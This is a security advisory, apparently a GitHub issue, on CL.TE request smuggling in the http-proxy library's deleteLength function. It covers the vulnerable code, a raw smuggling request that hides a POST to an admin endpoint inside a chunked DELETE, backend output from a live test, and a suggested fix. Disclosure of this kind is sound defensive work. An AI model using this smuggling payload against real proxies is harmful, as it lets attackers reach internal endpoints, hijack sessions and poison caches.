Security: CL.TE request smuggling in deleteLength (CVE-2026-29057 root cause, upstream unpatched)
Security Advisory: http-proxy — CL.TE Request Smuggling in deleteLength
Reported by: Black1hp
Package: http-proxy
Affected versions: <= 1.18.1 (all versions since v0.9.0)
Severity: High (CVSS ~8.1)
CWE: CWE-444 — Inconsistent Interpretation of HTTP Requests
GitHub: https://github.com/http-party/node-http-proxy
Summary
http-proxy converts DELETE and OPTIONS requests that have Transfer-Encoding: chunked (but no Content-Length) into requests with Content-Length: 0 and removes the Transfer-Encoding header. The original body is still forwarded to the backend. A backend that honors Content-Length will stop reading after 0 bytes and treat the remaining bytes as a new HTTP request, enabling CL.TE request smuggling.
This is the same root cause that was assigned to Next.js as CVE-2026-29057, but the upstream http-proxy library remains unpatched.
Root Cause
In lib/http-proxy/passes/web-incoming.js:
deleteLength: function deleteLength(req, res, options) {
if ((req.method === 'DELETE' || req.method === 'OPTIONS')
&& !req.headers['content-length']) {
req.headers['content-length'] = '0';
delete req.headers['transfer-encoding'];
}
}
The function:
- Triggers when the method is
DELETEorOPTIONS. - Checks only for the absence of
Content-Length, not for the presence ofTransfer-Encoding. - Sets
Content-Length: 0. - Deletes
Transfer-Encoding.
The request body is still piped to the backend via req.pipe(proxyReq) in the stream pass. Because the backend now sees Content-Length: 0 and no Transfer-Encoding, it does not consume the body. The body bytes remain on the connection and are parsed as the start of the next request.
Reproduction
Header transformation
const passes = require('http-proxy/lib/http-proxy/passes/web-incoming.js');
const req = {
method: 'DELETE',
headers: {
'transfer-encoding': 'chunked',
'host': 'example.com'
}
};
console.log('Before:', req.headers);
passes.deleteLength(req, {}, {});
console.log('After:', req.headers);
// { 'host': 'example.com', 'content-length': '0' }
Full smuggling request
The attacker sends:
DELETE /api/resource HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
34
POST /admin/delete-user HTTP/1.1
Content-Length: 20
0
The proxy forwards:
DELETE /api/resource HTTP/1.1
Host: example.com
Content-Length: 0
POST /admin/delete-user HTTP/1.1
Content-Length: 20
Runtime verification
A live test with http-proxy 1.18.1 produced the following raw bytes on the backend socket:
DELETE /api/resource HTTP/1.1
content-length: 0
host: 127.0.0.1:9000
connection: close
POST /admin/delete-user HTTP/1.1
Content-Length: 20
This confirms the desync: the POST request remains on the connection after the DELETE is terminated by Content-Length: 0.
Impact
- Request smuggling: Inject arbitrary second requests to the backend.
- Access internal endpoints: Bypass proxy routing and reach admin/internal paths.
- Session hijacking: Smuggled requests may reuse the victim's connection context.
- Cache poisoning: Smuggled responses can poison shared caches.
Preconditions
- Application uses
http-proxyto forward requests to a backend. - Backend uses
Content-Lengthto determine request boundaries. - Proxy-to-backend connection is reused (HTTP keep-alive).
- Attacker can send
DELETEorOPTIONSrequests with a chunked body.
Suggested Fix
Apply the same fix Next.js used for CVE-2026-29057. Only set Content-Length: 0 when both Content-Length and Transfer-Encoding are absent, and do not delete Transfer-Encoding:
deleteLength: function deleteLength(req, res, options) {
if ((req.method === 'DELETE' || req.method === 'OPTIONS')
&& !req.headers['content-length']
&& !req.headers['transfer-encoding']) {
req.headers['content-length'] = '0';
}
}
Additionally, the library should avoid changing the framing of a request that already carries Transfer-Encoding: chunked.
Relationship to CVE-2026-29057
CVE-2026-29057 was assigned to Next.js for this same root cause. Next.js fixed it in versions 15.5.13 and 16.1.7 by updating the vendored http-proxy code. The upstream http-proxy package, however, has not released a patched version. It has ~3M weekly downloads and has not had a release since 2020.
Reporter Notes
- I can provide a complete standalone Node.js PoC that demonstrates the smuggling end-to-end.
- I am happy to help validate a patch or provide additional test cases.
Closing this public issue. The report will be sent directly to the maintainer emails for coordinated disclosure instead.